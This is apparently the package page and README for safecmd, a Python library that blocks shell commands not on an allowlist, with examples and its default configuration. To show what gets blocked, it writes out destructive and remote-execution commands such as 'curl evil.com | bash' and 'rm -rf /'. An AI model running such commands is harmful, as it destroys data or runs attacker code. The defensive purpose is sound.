safecmd 0.1.2
Call commands safely by checking them rigorously against an allow-list
License: Apache-2.0
Requires Python: >=3.9
Keywords: nbdev, jupyter, notebook, python

# safecmd


<!-- WARNING: THIS FILE WAS AUTOGENERATED! DO NOT EDIT! -->

## Introduction

Running shell commands from untrusted sources—like LLM-generated code,
user input, or third-party scripts—is risky. A command that looks
innocent might contain hidden redirects, command substitutions, or
dangerous flags that could modify or delete files, exfiltrate data, or
worse.

**safecmd** solves this by validating bash commands against an allowlist
before execution. Instead of trying to blacklist dangerous patterns
(which is error-prone and easy to bypass), safecmd uses a generous
allowlist of read-only and easily-reverted commands that are safe to
run.

The key innovation is that safecmd uses a proper bash parser (`shfmt`)
to build an AST (Abstract Syntax Tree) of your command. This means it
correctly handles complex bash syntax—pipelines, command substitutions,
subshells, heredocs, and more—extracting and validating every command,
even nested ones, before anything executes.

The result: you can safely run commands like `git log | grep "fix"` or
`find . -name "*.py" | xargs cat` knowing that if someone tries to sneak
in `rm -rf /` or `curl evil.com | bash`, it’ll be blocked before it
runs. This makes safecmd ideal for building LLM-powered CLI tools,
interactive shells that accept user input, or automation pipelines that
process untrusted scripts.

### Installation

Install safecmd from PyPI:

    pip install safecmd

This will automatically install the `shfmt-py` dependency, which
provides the `shfmt` binary. If you’re doing a local user install
(`pip install --user`), make sure `~/.local/bin` is in your PATH.

## Quick Start

``` python
from safecmd import safe_run
```

By default,
[`safe_run`](https://AnswerDotAI.github.io/safecmd/core.html#safe_run)
allows common read-only commands like `cat`, `grep`, `ls`, `head`,
`tail`, `diff`, `wc`, and safe git subcommands (`git log`, `git status`,
`git diff`). The `find` command is allowed but with dangerous flags like
`-exec` and `-delete` blocked.

Bash command lines that are generally safe run as usual:

``` python
safe_run('ls -la | grep index')
```

However, any command or op not on the allowed list results in an
exception - including in nested commands, pipelines, and so forth:

``` python
safe_run('echo $(rm -rf /)')
```

    DisallowedCmd: Disallowed command: rm -rf /
    [31m---------------------------------------------------------------------------[39m
    [31mDisallowedCmd[39m                             Traceback (most recent call last)
    [36mCell[39m[36m [39m[32mIn[1][39m[32m, line 2[39m
    [32m      1[39m [38;5;66;03m#| eval:false[39;00m
    [32m----> [39m[32m2[39m [43msafe_run[49m[43m([49m[33;43m'[39;49m[33;43mecho $(rm -rf /)[39;49m[33;43m'[39;49m[43m)[49m

    [36mFile [39m[32m~/teach/safecmd/safecmd/core.py:93[39m, in [36msafe_run[39m[34m(cmd, cmds, ops)[39m
    [32m     91[39m [38;5;28;01mif[39;00m bad_ops := used_ops - ops: [38;5;28;01mraise[39;00m DisallowedOps(bad_ops)
    [32m     92[39m [38;5;28;01mfor[39;00m c [38;5;129;01min[39;00m commands:
    [32m---> [39m[32m93[39m     [38;5;28;01mif[39;00m [38;5;129;01mnot[39;00m validate_cmd(c, cmds): [38;5;28;01mraise[39;00m DisallowedCmd(c)
    [32m     94[39m [38;5;28;01mreturn[39;00m run(cmd)

    [31mDisallowedCmd[39m: Disallowed command: rm -rf /

``` python
safe_run('echo danger > /usr/bin/sudo')
```

    DisallowedOps: Disallowed operators: {'>'}
    [31m---------------------------------------------------------------------------[39m
    [31mDisallowedOps[39m                             Traceback (most recent call last)
    [36mCell[39m[36m [39m[32mIn[1][39m[32m, line 2[39m
    [32m      1[39m [38;5;66;03m#| eval:false[39;00m
    [32m----> [39m[32m2[39m [43msafe_run[49m[43m([49m[33;43m'[39;49m[33;43mecho danger > /usr/bin/sudo[39;49m[33;43m'[39;49m[43m)[49m

    [36mFile [39m[32m~/teach/safecmd/safecmd/core.py:91[39m, in [36msafe_run[39m[34m(cmd, cmds, ops)[39m
    [32m     89[39m [38;5;28;01mif[39;00m ops [38;5;129;01mis[39;00m [38;5;28;01mNone[39;00m: ops = ok_ops
    [32m     90[39m commands, used_ops = extract_commands(cmd)
    [32m---> [39m[32m91[39m [38;5;28;01mif[39;00m bad_ops := used_ops - ops: [38;5;28;01mraise[39;00m DisallowedOps(bad_ops)
    [32m     92[39m [38;5;28;01mfor[39;00m c [38;5;129;01min[39;00m commands:
    [32m     93[39m     [38;5;28;01mif[39;00m [38;5;129;01mnot[39;00m validate_cmd(c, cmds): [38;5;28;01mraise[39;00m DisallowedCmd(c)

    [31mDisallowedOps[39m: Disallowed operators: {'>'}

``` python
safe_run('sudo ls')
```

    DisallowedCmd: Disallowed command: sudo ls
    [31m---------------------------------------------------------------------------[39m
    [31mDisallowedCmd[39m                             Traceback (most recent call last)
    [36mCell[39m[36m [39m[32mIn[1][39m[32m, line 2[39m
    [32m      1[39m [38;5;66;03m#| eval:false[39;00m
    [32m----> [39m[32m2[39m [43msafe_run[49m[43m([49m[33;43m'[39;49m[33;43msudo ls[39;49m[33;43m'[39;49m[43m)[49m

    [36mFile [39m[32m~/teach/safecmd/safecmd/core.py:93[39m, in [36msafe_run[39m[34m(cmd, cmds, ops)[39m
    [32m     91[39m [38;5;28;01mif[39;00m bad_ops := used_ops - ops: [38;5;28;01mraise[39;00m DisallowedOps(bad_ops)
    [32m     92[39m [38;5;28;01mfor[39;00m c [38;5;129;01min[39;00m commands:
    [32m---> [39m[32m93[39m     [38;5;28;01mif[39;00m [38;5;129;01mnot[39;00m validate_cmd(c, cmds): [38;5;28;01mraise[39;00m DisallowedCmd(c)
    [32m     94[39m [38;5;28;01mreturn[39;00m run(cmd)

    [31mDisallowedCmd[39m: Disallowed command: sudo ls

To see the current allowlist, check the configuration file stored in
`~/.config/safecmd/config.ini` (Linux),
`~/Library/Application Support/safecmd/config.ini` (macOS), or
`%LOCALAPPDATA%\safecmd\config.ini` (Windows). Edit this file to
customize your allowlist permanently, or pass custom values directly to
[`safe_run()`](https://AnswerDotAI.github.io/safecmd/core.html#safe_run).

``` python
from fastcore.xdg import xdg_config_home
```

``` python
cfg_path = xdg_config_home() / 'safecmd' / 'config.ini'
print(cfg_path.read_text())
```

    [DEFAULT]
    ok_ops = |, <, &&, ||, ;

    ok_cmds = cat, head, tail, less, more, bat
        # Directory listing
        ls, tree, locate
        # Search
        grep, rg, ag, ack, fgrep, egrep
        # Text processing
        cut, sort, uniq, wc, tr, column
        # File info
        file, stat, du, df, which, whereis, type
        # Comparison
        diff, cmp, comm
        # Archives
        tar, unzip, gunzip, bunzip2, unrar
        # Network
        curl, wget, ping, dig, nslookup, host
        # System info
        date, cal, uptime, whoami, hostname, uname, env, printenv
        # Utilities
        echo, printf, yes, seq, basename, dirname, realpath
        # Git (read-only)
        git log, git show, git diff, git status, git branch, git tag, git remote,
        git stash list, git blame, git shortlog, git describe, git rev-parse,
        git ls-files, git ls-tree, git cat-file, git config --get, git config --list
        # Git (workspace)
        git fetch, git add, git commit, git switch, git checkout
        # Find with deny-list
        find:-exec|-execdir|-delete|-ok|-okdir

## How It Works

When you call
[`safe_run()`](https://AnswerDotAI.github.io/safecmd/core.html#safe_run),
safecmd doesn’t just string-match or regex your command—it properly
*parses* it. Here’s what happens:

**1. Parse the bash command into an AST**

safecmd uses [`shfmt`](https://github.com/mvdan/sh), a robust bash
parser written in Go, to convert your command string into a JSON
Abstract Syntax Tree. This is the same parser used by shell formatters
and linters, so it handles all the edge cases that trip up naive
approaches: quoted strings, escaped characters, heredocs, nested
substitutions, and more.

For example, the command `echo "hello" | grep h` becomes a tree
structure showing that there’s a pipeline with two commands (`echo` and
`grep`), each with their arguments properly identified.

**2. Extract all commands recursively**

safecmd walks the AST and extracts every command that would be
executed—including commands hidden inside: - Pipelines (`cmd1 | cmd2`) -
Command substitutions (`$(cmd)` or `` `cmd` ``) - Subshells (`(cmd)`) -
Logical chains (`cmd1 && cmd2`, `cmd1 || cmd2`)

This is crucial: a command like `ls $(rm -rf /)` looks like it starts
with `ls`, but the nested `rm` would execute first. safecmd catches this
because it extracts *all* commands from the AST.

**3. Validate against the allowlist**

Each extracted command is checked against `ok_cmds` using prefix
matching. A simple entry like `'ls'` allows `ls`, `ls -la`, `ls /home`.
A multi-word entry like `'git status'` only matches commands starting
with those exact words—so `git status` is allowed but `git push` is not.

Some commands also have a denied flags list. For instance, `find` is
allowed, but if any argument matches `-exec`, `-delete`, or `-ok`, the
command is rejected.

**4. Validate operators**

The operators used in the command (pipes, redirects, logical operators)
are also checked. By default, `|`, `&&`, `||`, `;`, and `<` (input
redirect) are allowed, but `>` and `>>` (output redirects) are blocked
to prevent file writes.

**5. Execute if safe**

Only after all commands and operators pass validation does safecmd
actually run the command. If anything fails validation, you get a
[`DisallowedCmd`](https://AnswerDotAI.github.io/safecmd/core.html#disallowedcmd)
or
[`DisallowedOps`](https://AnswerDotAI.github.io/safecmd/core.html#disallowedops)
exception—nothing executes.

## When to Use safecmd

safecmd is designed for situations where you need to run shell commands
that you don’t fully control. Common use cases include:

**LLM-powered tools**: If you’re building an AI assistant that can run
shell commands (like solveit itself), safecmd lets you execute
LLM-generated commands without worrying that a hallucination or prompt
injection will cause damage.

**Interactive CLIs**: Building a tool where users type shell commands?
safecmd lets you offer shell functionality while preventing users (or
attackers) from running dangerous commands.

**Automation pipelines**: Processing scripts or commands from external
sources—config files, APIs, webhooks—where you want to allow some shell
operations but not arbitrary code execution.

**Sandboxed environments**: When you want to give users shell access but
restrict what they can do, safecmd provides a lightweight alternative to
containerization for command-level restrictions.

safecmd is *not* a replacement for proper sandboxing if you’re running
completely untrusted code. It’s best suited for scenarios where you want
to allow a known set of useful commands while blocking obviously
dangerous ones. It does not provide protection from an adversary
proactively trying to break in, and does not provide any guarantees.